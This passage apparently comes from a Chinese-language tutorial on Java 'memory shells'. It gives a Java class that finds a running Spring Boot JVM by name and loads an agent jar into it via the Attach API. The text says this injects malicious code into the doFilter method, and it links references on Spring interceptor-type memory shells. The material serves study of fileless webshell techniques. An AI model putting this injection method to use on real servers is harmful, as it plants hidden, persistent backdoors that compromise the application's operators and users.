28
package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent_Spring {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}
// System.out.println(vmd.displayName());

}
}
}

启动一个简单的Spring Boot项目

运行Inject_Agent_Spring类,在doFilter方法中注入恶意代码,成功执行

上面介绍到的javasist参考:https://drun1baby.top/2023/12/07/Java-Agent-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/#%E5%8A%A8%E6%80%81%E4%BF%AE%E6%94%B9%E5%AD%97%E8%8A%82%E7%A0%81-Instrumentation

4.spring内存马

参考:https://github.com/W01fh4cker/LearnJavaMemshellFromZero?tab=readme-ov-file#42-spring-interceptor%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC

https://goodapple.top/archives/1355

https://xz.aliyun.com/t/12047?time__1311=mqmhBKD50KAIKiqGNDQbiQvQ%3DxIx9%3DC1roD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-5